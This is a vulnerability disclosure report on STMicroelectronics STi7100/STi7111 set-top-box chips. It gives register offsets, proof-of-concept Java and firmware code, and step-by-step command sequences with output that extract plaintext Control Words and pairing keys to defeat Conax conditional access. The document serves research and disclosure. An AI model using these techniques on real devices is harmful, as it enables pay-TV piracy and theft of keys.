Security Vulnerability Report

SE-2011-01 Issues #17-19

[cumulative report]

DISCLAIMER

INFORMATION PROVIDED IN THIS DOCUMENT IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, AND TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW NEITHER SECURITY EXPLORATIONS, ITS LICENSORS OR AFFILIATES, NOR THE COPYRIGHT HOLDERS MAKE ANY REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR THAT THE INFORMATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS, OR OTHER RIGHTS. THERE IS NO WARRANTY BY SECURITY EXPLORATIONS OR BY ANY OTHER PARTY THAT THE INFORMATION CONTAINED IN THE THIS DOCUMENT WILL MEET YOUR REQUIREMENTS OR THAT IT WILL BE ERROR-FREE.

YOU ASSUME ALL RESPONSIBILITY AND RISK FOR THE SELECTION AND USE OF THE INFORMATION TO ACHIEVE YOUR INTENDED RESULTS AND FOR THE INSTALLATION, USE, AND RESULTS OBTAINED FROM IT.

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT SHALL SECURITY EXPLORATIONS, ITS EMPLOYEES OR LICENSORS OR AFFILIATES BE LIABLE FOR ANY LOST PROFITS, REVENUE, SALES, DATA, OR COSTS OF PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, PROPERTY DAMAGE, PERSONAL INJURY, INTERRUPTION OF BUSINESS, LOSS OF BUSINESS INFORMATION, OR FOR ANY SPECIAL, DIRECT, INDIRECT, INCIDENTAL, ECONOMIC, COVER, PUNITIVE, SPECIAL, OR CONSEQUENTIAL DAMAGES, HOWEVER CAUSED AND WHETHER ARISING UNDER CONTRACT, TORT, NEGLIGENCE, OR OTHER THEORY OF LIABILITY ARISING OUT OF THE USE OF OR INABILITY TO USE THE INFORMATION CONTAINED IN THIS DOCUMENT, EVEN IF SECURITY EXPLORATIONS OR ITS LICENSORS OR AFFILIATES ARE ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

THIS PUBLICATION COULD INCLUDE TECHNICAL INACCURACIES OR TYPOGRAPHICAL ERRORS.

This report presents information related to security vulnerabilities discovered by Security Explorations in Digital Video Broacasting (DVB) chipsets manufactured by STMicroelectronics company. Below, we provide a brief summary of them as originally reported to the vendor.

[Issue #17 – access to plaintext Control Words in STi7100 chip]

There is a security vulnerability in the implementation of STMicroelectronics' STi7100 chip, which is used by digital satellite TV equipment such as ITI5800S and ITI5800SX devices manufactured by Advanced Digital Broadcast for ITI Neovision company. In a result of our investigation efforts, we found out that it is possible to obtain plaintext values of the cryptographic keys used to descramble the satellite signal. This turned out to be possible regardless of the Conax chipset pairing functionality implemented by the chip.

STi7100 includes a dedicated cryptographic coprocessor and several memory areas holding different keys. The crypto coprocessor offers basic functionality related to key management and AES / TDES encryption / decrytion operations. Communication with the chip takes place through memory mapped registers. There is usually a device driver that exports chip's functionality to the user space in a Linux system environment.

In our scenario, the chip was mapped by the `gsechal_core.ko` device driver to the following base address:

```
public static final int GSEC_BASE   = 0xb9200000;
```

By analysing the device driver's code, its symbols and runtime arguments, we figured out the meaning and offsets of the chip's registers:

```
public static final int OFF_CONFIG  = 0x6000;
public static final int OFF_STATUS  = 0x6004;
public static final int OFF_INS     = 0x6008;
public static final int OFF_DATA    = 0x600c;
```

Similarily, we were able to discover the base offsets of certain keys memories:

```
public static final int OFF_KEYS    = 0x6420;
public static final int OFF_CW_KEYS = 0x6100;
```

We also extracted the names and meaning of a few commands the crypto chip implemented:

```
0 ->  reset       (reset the chip)
1 ->  ???
2 ->  CKCalc      (load and decrypt Control Words Pairing Key)
3 ->  DecryptSCK  (load and decrypt the encrypted value of a given
                   Control Word key)
4 ->  ???
5 ->  CopyTCN     (get the value of a chip ID)
```


The arguments to the `DecryptSCK` command, which is used by the set-top-box to load encrypted Control Words to the chip include the index of the key slot to load. Device driver code makes sure that this index is within the 0x00-0x31 bounds as illustrated below:

```
.text:00001340 gSecHAL_DecryptSCK:
.text:00001340      mov.l   r8, @-r15
.text:00001342      mov     r4, r8           ; key buf
.text:00001344      mov.l   r9, @-r15
.text:00001346      mov.l   r10, @-r15
.text:00001348      extu.b  r5, r10          ; key idx
.text:0000134A      mov.l   r11, @-r15
.text:0000134C      mov     #0, r11
.text:0000134E      mov.l   r12, @-r15
.text:00001350      mov.l   r13, @-r15
.text:00001352      mov     r6, r13
.text:00001354      sts.l   pr, @-r15
.text:00001356      mov.l   @(h'160,pc), r1 ; [000014B8] = initialized
.text:00001358      mov.l   @(h'160,pc), r0 ; [000014BC] = h'1500009
.text:0000135A      mov.l   @r1, r1
.text:0000135C      tst     r1, r1
.text:0000135E      bt/s    loc_13F4
.text:00001360      add     #-h'10, r15
.text:00001362      mov.l   @(h'15C,pc), r0  ; [000014C0] = semaphore_value
.text:00001364      mov.l   @(h'15C,pc), r12 ; [000014C4] = dword_256C
.text:00001366      jsr     @r0
.text:00001368      mov.l   @r12, r4
.text:0000136A      tst     r0, r0
.text:0000136C      bt/s    loc_13F4
.text:0000136E      mov     #h'C, r0
.text:00001370      mov.l   @(h'154,pc), r0 ; [000014C8] = semaphore_wait
.text:00001372      jsr     @r0
.text:00001374      mov.l   @r12, r4
.text:00001376      mov     #h'31, r1 ; '1'
.text:00001378      cmp/hi  r1, r10          ; key idx > 0x31 <---- the check
                                             ; for maxiumum key idx value
.text:0000137A      movt    r1               ; = always equal to 0
.text:0000137C      tst     r8, r8           ; key ptr
.text:0000137E      movt    r2               ; = always equal to 0
.text:00001380      or      r2, r1
.text:00001382      tst     r1, r1           ; = always equal to 0
.text:00001384      bf      loc_1420         ; -> exit
.text:00001386      tst     r13, r13
.text:00001388      bt      loc_1420         ; -> exit
.text:0000138A      mov.l   @(h'140,pc), r0 ; [000014CC] = gSecGetUsingAES
.text:0000138C      jsr     @r0
```

Our analysis and tests allowed us to discover the following. If STi7100 chip is being programmed manually by issuing commands directly to its I/O mapped registers and if the index of the `DecryptSCK` command is greater than 0x31, the plaintext value of the encrypted Control Word will be readable in chip's memory starting from offset 0x6420.

The sample code below illustrates the manual way of programming the STi7100's crypto processoror that we implemented in our Proof of Concept code. The presented functionality corresponds directly to the one implemented by the `gsechal_core.ko` device driver:

```
public static int ReadStatus() {
 return IOMem.in_dword(GSEC_BASE+OFF_STATUS);
}

public static void ClearStatus() {
 int status=0x0b;
 IOMem.out_dword(GSEC_BASE+OFF_STATUS,status);
 ReadStatus();
}

public static void DataWrite(int v1,int v2) {
 IOMem.out_dword(GSEC_BASE+OFF_DATA,v1);
 IOMem.out_dword(GSEC_BASE+OFF_DATA+0x04,v2);
}

public static int[] DataRead() {
 int data[]=new int[4];
 data[0]=IOMem.in_dword(GSEC_BASE+OFF_DATA+0x0c);
 data[1]=IOMem.in_dword(GSEC_BASE+OFF_DATA+0x08);
 data[2]=IOMem.in_dword(GSEC_BASE+OFF_DATA+0x04);
 data[3]=IOMem.in_dword(GSEC_BASE+OFF_DATA);
 return data;
}

public static void WaitForComplete() {
 while(true) {
  int status=ReadStatus()&0x0b;
  if (status!=0) break;
   else Utils.sleep(100);
 }
}

public static void InstWrite(int cmd) {
 int v1=IOMem.in_dword(GSEC_BASE+OFF_DATA);
 int v2=IOMem.in_dword(GSEC_BASE+OFF_DATA+0x04);
 IOMem.out_dword(GSEC_BASE+OFF_INS,cmd);
 WaitForComplete();
 v1=IOMem.in_dword(GSEC_BASE+OFF_DATA);
 v2=IOMem.in_dword(GSEC_BASE+OFF_DATA+0x04);
 ClearStatus();
}

public static void DecryptSCK(int cmd,int idx,int v1,int v2) {
 if ((cmd!=3)&&(cmd!=4)) return;
 DataWrite(v2,v1);
 InstWrite(((idx&0xff)<<8)|cmd);
 InstWrite(((idx&0xff)<<8)|cmd);
}
```



```
public static void DecryptSCK_0(int idx,int v1,int v2) {
 DecryptSCK(3,idx,v1,v2);
}
```

The actual decryption of encrypted Control Words is straightforward with the use of the presented API calls. The code below illustrates our implementation for it:

```
public static final int HERMES_MAGIC_IDX = 0x32;

public static int[] GetCW(int idx) {
  int data[]=new int[4];
  data[0]=IOMem.in_dword(GSEC_BASE+OFF_CW_KEYS+idx*0x10);
  data[1]=IOMem.in_dword(GSEC_BASE+OFF_CW_KEYS+idx*0x10+0x04);
  data[2]=IOMem.in_dword(GSEC_BASE+OFF_CW_KEYS+idx*0x10+0x08);
  data[3]=IOMem.in_dword(GSEC_BASE+OFF_CW_KEYS+idx*0x10+0x0c);
  return data;
}

public static int[] cw_decrypt(int[] cw) {
 int[] plain_cw=new int[2];
 GsecHal.DecryptSCK_0(HERMES_MAGIC_IDX,cw[0],cw[1]);
 cw=GsecHal.GetCW(HERMES_MAGIC_IDX);
 plain_cw[0]=cw[0];
 plain_cw[1]=cw[1];
 return plain_cw;
}
```

Security Explorations proved that the described security issue could be used to bypass Conax conditional access system with chipset pairing. We verified that the keys obtained from the STi7100 chip via `DecryptSCK` command and key index 0x32 were actually plaintext Control Word keys. In our attack scenario, we extracted plaintext Control Words from the STi7100 chip of a set-top-box decoder (A) implementing Conax conditional access method with chipset pairing and sent them over the network to the other decoder (B). In a result, decoder (B) was able to decrypt digital satellite TV programming to which the user was not entitled to.

[Issue #18 – access to plaintext Control Words in STi7111 chip]

There is a security vulnerability in the implementation of STMicroelectronics' STi7111 chip, which is used by digital satellite TV equipment such as ITI2850ST and ITI2849ST devices manufactured by Advanced Digital Broadcast for ITI Neovision company. In a result of our investigation efforts, we found out that it is possible to obtain plaintext values of the cryptographic keys used to descramble the satellite signal. This turned out to be possible regardless of the Conax chipset pairing functionality implemented by the chip.

STi7111 includes a dedicated cryptographic coprocessor and several memory areas holding different keys. The crypto coprocessor offers basic functionality related to key management and AES / TDES encryption / decryption operations. Communication with the chip takes place through memory mapped registers. There is usually a device driver that exports chip's functionality to the user space in a Linux system environment.

STi7111 chip implements similar functionality to those of STi7100. There are however key differences between the two. The primary difference is in the firmware code run on dedicated Slim core processor that controls the operation of STi7111's crypto chip.

Security Explorations analysed the operation of the STTKDMA device driver and reverse engineered the operation of the unknown Slim core processor in order to discover the details of the aforementioned firmware code operation. In a result of the STTKDMA firmware analysis, we found out that STi7111 chip contained a vulnerability that allowed for arbitrary access to the plaintext Control Words. Below, we provide brief description of the found weakness.

STi7111 is a more complex chip than STi7100 and it also provides much richer functionality. Below, a table of commands implemented by STTKDMA firmware (TKD commands) is provided:

```
0x01ff8101 ???
0x00ff8101 setCWPK                (set_descrambling_internalkeys)
0x20ff0001 scdc_ImplModifyKeyIndex (set_protected_descramblingkey)
0x10ff0101 ???
0x00000000 getPublicID
0x20ff0010 ???
0x10ff8001 ???
0x03ff0001 ???
0x04000001 ???
0xffff0401 sttkdmaHal_GetNonce
0x02ff8101 ???
0x80ff0203 ???
0x81ff0203 ???
0x82ff0203 ???
0x83ff0203 sttkdmaHal_GetSWReg
```

Out of the presented TKD commands, 0x20ff0001 is of a particular interest as it is always issued in order to load encrypted Control Word to the chip.

By applying runtime code analysis techniques to STTKDMA firmware code we found out that the following sequence of instructions implemented the actual loading of encrypted Control Words to the chip:

```
l_0206  0x00fa4000  copTDES
  0207  0x000f093c  mov r15,r9       // r9 = TKD command 0x20ff0001,
                                     // 0x21ff0001, ..., 0x51ff0001
  0208  0x008e1208  wait1
  0209  0x00af0008  ld r15,[r0,0008] // 0x4020 = 0x00000000
  020a  0x00af0009  ld r15,[r0,0009] // 0x4024 = 0x11111111
  020b  0x00af000a  ld r15,[r0,000a] // 0x4028 = 0x22222222
  020c  0x00af000b  ld r15,[r0,000b] // 0x402c = 0x33333333
  020d  0x008e120d  wait1
  020e  0x00500a00  tst r10,r10
  020f  0x00881215  jz l_0215
```



```
  0210  0x00b0f008   st r15,[r0,0008] // 0x4020 = 0x00000000
  0211  0x00b0f009   st r15,[r0,0009] // 0x4024 = 0x11111111
  0212  0x00b0f00a   st r15,[r0,000a] // 0x4028 = 0x22222222
  0213  0x00b0f00b   st r15,[r0,000b] // 0x402c = 0x33333333
  0214  0x00d02117   jmp l_0217

l_0215  0x00d00004   rpt 4
  0216  0x00000f3c   mov r0,r15

l_0217  0x00d0211a   jmp l_021a
```

The instruction at word offset 0x207 seems to be configuring the TKD command for the crypto chip with the value from tegister r9. We did not know the actual meaning of the TDK coprocessor command that was in register r9. In order to find out what it does, we decided to slightly modify the Slim core firmware and started to experiment with it. For that purpose, we injected the following generic code into the path implementing `STTKDMA_ReadPublicID` functionality:

```
public static final int tkd_code[] = {
  0x00e61234, //mov r6,#1234 TKD_CMD_HI
  0x00e55678, //mov r5,#5678 TKD_CMD_LO
  0x00e00000, //mov r0,#0000
  0x00756210, //mov r5,(r6<<16)|r5
  0x00e00000, //mov r0,#0000
  0x00fa4000, //COPINS
  0x00e00000, //mov r0,#0000
  0x000f053c, //mov r15,r5
  0x00e00000, //mov r0,#0000
  0x008e1abc, //WAITINS
  0x00e00000, //mov r0,#0000
  0x00af0050, //ld r15,[r0,0050]
  0x00af0051, //ld r15,[r0,0051]
  0x00af0052, //ld r15,[r0,0052]
  0x00af0053, //ld r15,[r0,0053]
  0x00e00000, //mov r0,#0000
  0x008e1abc, //WAITINS
  0x00e00000, //mov r0,#0000
  0x00b0f054, //st r15,[r0,0054]
  0x00b0f055, //st r15,[r0,0055]
  0x00b0f056, //st r15,[r0,0056]
  0x00b0f057, //st r15,[r0,0057]
  0x00e00000  //mov r0,#0000
 };
```

For the purpose of changing `STTKDMA_ReadPublicID` implementation, we injected a JMP instruction at word offset 0x01a3 of the STTKDMA firmware code. This JMP instruction directed execution flow to our custom instruction sequence located behind the firmware code (word offset 0x05b7). At the end of our custom instruction sequence we executed another JMP instruction that directed execution flow back to the STTKDMA_ReadPublicID code path (word offset 0x01a7).

In order to figure out the meaning of the actual values for TKD_CMD, COPINS and WAITINS, we needed to run many different tests and observed their influence on either the memory of STTKDMA chip or the contents of its registers. For the purpose of these tests we developed additional tool that would allow us to run tkd_code with arbitrarily chosen parameter values of TKD_CMD, COPINS and WAITINS to the tkd_code presented above. The meaning of these parameters is described below:

- TKD_CMD_HI and TKD_CMD_LO - high and low 16 bit nibble of a TKD command to run
- COPINS - coprocessor instruction denoting the crypto algorithm to run,
- WAITINS - the instruction that seemed to be waiting for the result of the COPINS.

In a result of our tests we first figured out the values of valid COPINS and WAITINS instructions:

```
public static final int copAES     = 0x00f54000; //run AES algorihtm
public static final int copTDES    = 0x00fa4000; //run TDES algorihtm

public static final int waitAES    = 0x008d8abc; //wait for AES operation
public static final int waitTDES   = 0x008e1abc; //wait for TDES operation
```

As a result of further tests we found out the details of the TKD command format. More specifically, we found out that it followed a generic format composed of four 8-bit values as presented below:

```
TTTTTTTT SSSSSSSS KKKKKKKK CCCCCCCC
```

where:

- T bits denote a target, where the result of the operation should be stored, this could be a key slot number or 0xff for memory,
- S bits denote a source, from which data for the operation should be fetched, this could be a key slot number or 0xff stands for chip registers,
- K bits denote a key slot number, which holds the key used for the crypto operation, value 0x00 usually identifies SCK key (unique key for each chip),
- C bits denote different configuration bits, with bit 0 denoting whether encryption (0) or decryption (1) operation should take place[1].

Generic knowledge of a TKD command format allowed us for better understanding of their operation. Setting encrypted Control Word by 0x20ff0001 command was interpreted as decryption of register input with a key from slot 0x00 and storing the result at a key slot 0x20. This new interpretation of commands operation allowed us for better tuning of our tests conducted with the use of our custom tkd_code. This futher resulted in a deeper

---

[1] Decryption/encryption bit is not taken into account for all TKD commands, some of them such as 0x01ff0000 command always conduct a given operation regardless of this bit value.

understanding of the STi7111's crypto chip operation as well as a discovery of the following attack scenario that allowed for the extraction of plaintext Control Words from the STi7111 chip:

- *STEP 1*
  Set register input to the value of encrypted Control Words Pairing Key (encrypted CWPK hijacked from a set-to-box under attacker's control).
- *STEP 2*
  Issue TKD command 0x01ff0000 with TDES algorithm configured. TKD command 0x01ff0000 decrypts register input with the use of SCK key and saves it into the key slot at index 1.
- *STEP 3*
  Set register input to the value of the encrypted Control Word.
- *STEP 4*
  Issue TKD command 0x15ff0101 with TDES algorithm configured. TKD command 0x15ff0101 decrypts register input with the use of a key at slot index 1 (CWPK key set up at *STEP 1)* and saves the result to the key slot at index 0x15.
- *STEP 5*
  Read the plaintext Control Word value of the key at index 0x15. Since this key is part of a visible keys memory (crypto DMA / user keys memory at chip offset 0x3420), the key value is readable.

Security Explorations verified that the attack scenario presented above works in the environment of ITI2850ST digital satellite set-top-box with STi7111 chip and Conax chipset pairing CAM.

Below, we show the result of a sample test for the described attack scenario. It was conducted for the following pair of plaintext and encrypted Control Words:

```
plaintext CW1 [ 54 29 09 86 26 55 85 00 ] CW2 [ f2 cd 09 c8 d3 bf 30 c2 ]
encrypted CW1 [ 4e cd c9 e0 a0 52 bd 2f ] CW2 [ 35 39 76 bb a2 f3 9f 80 ]
```

STEP 1)

```
test> input "b6 04 78 c3 0f 26 a3 06 d5 20 10 0f c0 93 4f f3"
```

STEP 2)

```
test> ed 0x01ff0000 0x00fa4000 0x008e1abc
tkcmd 01ff0000

[running SLIM code]
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

STEP 3)

```
test> input "e0 c9 cd 4e 2f bd 52 a0 e0 c9 cd 4e 2f bd 52 a0"
```

STEP 4)

```
test> ed 0x15ff0101 0x00fa4000 0x008e1abc
tkcmd 15ff0101

[running SLIM code]
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

STEP 5)

test> keys
[00] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[01] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[02] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[03] f8 25 41 20 00 00 00 00 00 00 00 00 00 43 11 71
[04] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[05] 00 85 55 26 86 09 29 54 00 85 55 26 86 09 29 54 <--- PLAINTEXT CONTROL
                                                          WORD!!!!
[06] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[07] d4 c8 94 af 84 84 5c de 17 82 f7 73 1e c3 2f e7
DMA CONFIG: 20 08 00 00
TKD CONFIG: 00 00 00 00
INPUT: e0 c9 cd 4e 2f bd 52 a0 e0 c9 cd 4e 2f bd 52 a0
```

Security Explorations verified that the described security issue could be used to bypass Conax conditional access system with chipset pairing functionality. We verified that the keys obtained from the STi7111 chip via specially crafted sequence of TKD commands were actually plaintext Control Word keys. In our attack scenario, we extracted plaintext Control Words from the STi7111 with the use of a different method though (Issue 19). Extracted Control Words from a chip of a set-top-box decoder (A) implementing Conax conditional access system with chipset pairing were sent over the network to the other decoder (B). In a result, decoder (B) was able to decrypt digital satellite TV programming to which the user was not entitled to.

[Issue #19 – access to plaintext Control Words Pairing Key (CWPK) in STi7111 chip]

There is a security vulnerability in the implementation of STMicroelectronics' STi7111 chip, which is used by digital satellite TV equipment such as ITI2850ST and ITI2849ST. In a result of our investigation efforts, we found out that it is possible to obtain plaintext value of the cryptographic key used to decrypt encrypted Control Words - the so called Control Words Pairing Key (CWPK). This turned out to be possible in a result of a deep analysis of the STi7111 chip operation and its STTKDMA firmware code in particular. This analysis process was briefly described in the report for Issue 18 (access to plaintext Control Words in STi7111 chip).

As a result of conducting further tests related to TKD commands functionality, Security Explorations discovered the following scenario that allowed for the extraction of a plaintext value of the Control Words Pairing Key in the environment of the STi7111 chip:

- *STEP 1)*

Issue TKD command 0x15000001 with TDES algorithm configured. TKD command 0x15000001 decrypts the input, which is the key slot at index 0 (CWPK) with the use of the SCK key and saves the result into the key slot at index 0x15.

- *STEP 2)*
  Set register input to the value of the result obtained in *STEP 1)* - a value of the key slot at index 0x15.
- *STEP 3)*
  Issue TKD command 0xffff0000 with TDES algorithm configured. TKD command 0xffff0000 encrypts register input with the use of the SCK key and outputs the result through registers too.

Security Explorations verified that the attack scenario presented above works in the environment of ITI2850ST digital satellite set-top-box with STi7111 chip and Conax chipset pairing conditional access system.

Below, we show the result of a sample test for the described attack scenario. It was conducted for the following pair of plaintext and encrypted Control Words:

```
plaintext CW1 [ 54 29 09 86 26 55 85 00 ] CW2 [ f2 cd 09 c8 d3 bf 30 c2 ]
encrypted CW1 [ 4e cd c9 e0 a0 52 bd 2f ] CW2 [ 35 39 76 bb a2 f3 9f 80 ]
```

STEP 1)

```
test> ed 0x15000001 0x00fa4000 0x008e1abc
tkcmd 15000001

[running SLIM code]
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

test> keys
[00] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[01] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[02] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[03] 6d 31 99 ca f8 fa e5 51 fc 56 22 11 c2 33 05 8a
[04] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[05] 70 41 b5 2b 66 19 aa fc 8f ef 2f 3a 78 4d f3 9c <-- the result of TKD
                                                          command 0x15000001
[06] 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[07] d4 c8 94 af 84 84 5c de 17 82 f7 73 1e c3 2f e7
DMA CONFIG: 20 08 00 00
TKD CONFIG: 00 00 00 00
INPUT: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

STEP 2)

```
test> input "70 41 b5 2b 66 19 aa fc 8f ef 2f 3a 78 4d f3 9c"
```

STEP 3)

```
test> ed 0xffff0000 0x00fa4000 0x008e1abc
tkcmd ffff0000
```

```
[running SLIM code]
df ce 79 1a 15 0e 92 b3 fb 20 b6 c7 7f e9 da b6        <-- PLAINTEXT CONTROL
                                                            WORDS PAIRING KEY
                                                            (CWPK)
```

In order to verify that the obtained value corresponds to the Control Words Pairing Key, we did a test that verified whether using it for the decryption of the encrypted Control Word would yield its plaintext value:

```
test> tdes d "4e cd c9 e0 a0 52 bd 2f 4e cd c9 e0 a0 52 bd 2f" "1a
79 ce df  b3 92 0e 15  c7 b6 20 fb  b6 da e9 7f"

26 55 85 00 54 29 09 86 26 55 85 00 54 29 09 86        <-- DECRYPTED CONTROL
                                                            WORD!!
```

The conducted test proved that the result obtained was indeed representing the plaintext value of a Control Words Pairing Key (CWPK).

Security Explorations also proved that the described security issue could be used to bypass Conax conditional access system with chipset pairing. We verified that the Control Words Pairing Key obtained from the STi7111 chip via specially crafted sequence of TKD commands could be used to extract plaintext Control Word keys. In our attack scenario, we decrypt encrypted Control Words from the STi7111 chip with the use of a discovered CWPK key configured for that chip. Extracted Control Words from a chip of a set-top-box decoder (A) implementing Conax conditional access system with chipset pairing were sent over the network to the other decoder (B). In a result, decoder (B) was able to decrypt digital satellite TV programming to which the user was not entitled to.

About Security Explorations

Security Explorations (http://www.security-explorations.com) is a security start-up company from Poland, providing various services in the area of security and vulnerability research. The company came to life in a result of a true passion of its founder for breaking security of things and analyzing software for security defects. Adam Gowdiak is the company's founder and its CEO. Adam is an experienced Java Virtual Machine hacker, with over 50 security issues uncovered in the Java technology over the recent years. He is also the hacking contest co-winner and the man who has put Microsoft Windows to its knees (vide MS03-026). He was also the first one to present successful and widespread attack against mobile Java platform in 2004.